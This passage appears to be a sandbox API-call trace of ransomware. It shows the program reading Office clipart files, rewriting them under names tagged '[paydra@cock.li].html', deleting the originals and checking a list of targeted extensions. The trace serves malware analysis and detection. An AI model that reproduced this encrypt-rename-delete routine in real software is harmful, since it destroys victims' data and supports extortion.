(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.883] GetLastError () returned 0x0 [0058.883] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xec4, lpOverlapped=0x0) returned 1 [0058.884] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xed0, lpOverlapped=0x0) returned 1 [0058.885] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.885] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.885] SetEndOfFile (hFile=0x188) returned 1 [0058.886] CloseHandle (hObject=0x188) returned 1 [0058.886] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.886] SetEndOfFile (hFile=0x228) returned 1 [0058.886] CloseHandle (hObject=0x228) returned 1 [0058.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0058.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.887] lstrlenW (lpString=".doc") returned 4 [0058.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString=".docx") returned 5 [0058.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.887] lstrlenW (lpString=".pdf") returned 4 [0058.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString=".xls") returned 4 [0058.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.887] lstrlenW (lpString=".xlsx") returned 5 [0058.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.887] lstrlenW (lpString=".ppt") returned 4 [0058.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.887] lstrlenW (lpString=".zip") returned 4 [0058.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.887] lstrlenW (lpString=".rar") returned 4 [0058.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString=".bz2") returned 4 [0058.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString=".7z") returned 3 [0058.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.887] lstrlenW (lpString=".dbf") returned 4 [0058.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.888] lstrlenW (lpString=".1cd") returned 4 [0058.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0058.888] lstrlenW (lpString=".jpg") returned 4 [0058.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.888] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4164) returned 1 [0058.888] CloseHandle (hObject=0x228) returned 1 [0058.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0058.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.888] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.888] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.889] GetLastError () returned 0x0 [0058.889] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1044, lpOverlapped=0x0) returned 1 [0058.891] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1050, lpOverlapped=0x0) returned 1 [0058.891] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.892] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.892] SetEndOfFile (hFile=0x188) returned 1 [0058.892] CloseHandle (hObject=0x188) returned 1 [0058.892] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.892] SetEndOfFile (hFile=0x228) returned 1 [0058.893] CloseHandle (hObject=0x228) returned 1 [0058.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0058.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.893] lstrlenW (lpString=".doc") returned 4 [0058.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.893] lstrlenW (lpString=".docx") returned 5 [0058.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.893] lstrlenW (lpString=".pdf") returned 4 [0058.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.893] lstrlenW (lpString=".xls") returned 4 [0058.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.893] lstrlenW (lpString=".xlsx") returned 5 [0058.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.893] lstrlenW (lpString=".ppt") returned 4 [0058.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.893] lstrlenW (lpString=".zip") returned 4 [0058.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.893] lstrlenW (lpString=".rar") returned 4 [0058.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.894] lstrlenW (lpString=".bz2") returned 4 [0058.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.894] lstrlenW (lpString=".7z") returned 3 [0058.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.894] lstrlenW (lpString=".dbf") returned 4 [0058.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.894] lstrlenW (lpString=".1cd") returned 4 [0058.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.894] lstrlenW (lpString=".jpg") returned 4 [0058.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.894] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=812) returned 1 [0058.894] CloseHandle (hObject=0x228) returned 1 [0058.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0058.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.895] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.895] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.895] GetLastError () returned 0x0 [0058.895] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x32c, lpOverlapped=0x0) returned 1 [0058.896] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x330, lpOverlapped=0x0) returned 1 [0058.897] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.897] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.897] SetEndOfFile (hFile=0x188) returned 1 [0058.897] CloseHandle (hObject=0x188) returned 1 [0058.897] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.898] SetEndOfFile (hFile=0x228) returned 1 [0058.898] CloseHandle (hObject=0x228) returned 1 [0058.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString=".doc") returned 4 [0058.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString=".docx") returned 5 [0058.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.899] lstrlenW (lpString=".pdf") returned 4 [0058.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString=".xls") returned 4 [0058.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.899] lstrlenW (lpString=".xlsx") returned 5 [0058.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.899] lstrlenW (lpString=".ppt") returned 4 [0058.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString=".zip") returned 4 [0058.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.899] lstrlenW (lpString=".rar") returned 4 [0058.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString=".bz2") returned 4 [0058.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString=".7z") returned 3 [0058.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString=".dbf") returned 4 [0058.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString=".1cd") returned 4 [0058.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0058.899] lstrlenW (lpString=".jpg") returned 4 [0058.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.900] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=13102) returned 1 [0058.900] CloseHandle (hObject=0x228) returned 1 [0058.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0058.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.901] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.901] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.901] GetLastError () returned 0x0 [0058.901] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x332e, lpOverlapped=0x0) returned 1 [0058.903] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3330, lpOverlapped=0x0) returned 1 [0058.904] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.904] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.904] SetEndOfFile (hFile=0x188) returned 1 [0058.904] CloseHandle (hObject=0x188) returned 1 [0058.904] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.904] SetEndOfFile (hFile=0x228) returned 1 [0058.905] CloseHandle (hObject=0x228) returned 1 [0058.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0058.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.905] lstrlenW (lpString=".doc") returned 4 [0058.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString=".docx") returned 5 [0058.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.906] lstrlenW (lpString=".pdf") returned 4 [0058.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString=".xls") returned 4 [0058.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.906] lstrlenW (lpString=".xlsx") returned 5 [0058.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.906] lstrlenW (lpString=".ppt") returned 4 [0058.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.906] lstrlenW (lpString=".zip") returned 4 [0058.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.906] lstrlenW (lpString=".rar") returned 4 [0058.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString=".bz2") returned 4 [0058.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString=".7z") returned 3 [0058.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.906] lstrlenW (lpString=".dbf") returned 4 [0058.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.906] lstrlenW (lpString=".1cd") returned 4 [0058.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.906] lstrlenW (lpString=".jpg") returned 4 [0058.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.906] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=27050) returned 1 [0058.907] CloseHandle (hObject=0x228) returned 1 [0058.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0058.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.907] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.907] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.907] GetLastError () returned 0x0 [0058.907] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x69aa, lpOverlapped=0x0) returned 1 [0058.909] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0058.910] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.910] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.911] SetEndOfFile (hFile=0x188) returned 1 [0058.911] CloseHandle (hObject=0x188) returned 1 [0058.911] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.911] SetEndOfFile (hFile=0x228) returned 1 [0058.912] CloseHandle (hObject=0x228) returned 1 [0058.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0058.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.912] lstrlenW (lpString=".doc") returned 4 [0058.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.912] lstrlenW (lpString=".docx") returned 5 [0058.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.912] lstrlenW (lpString=".pdf") returned 4 [0058.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.912] lstrlenW (lpString=".xls") returned 4 [0058.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.912] lstrlenW (lpString=".xlsx") returned 5 [0058.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.912] lstrlenW (lpString=".ppt") returned 4 [0058.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.912] lstrlenW (lpString=".zip") returned 4 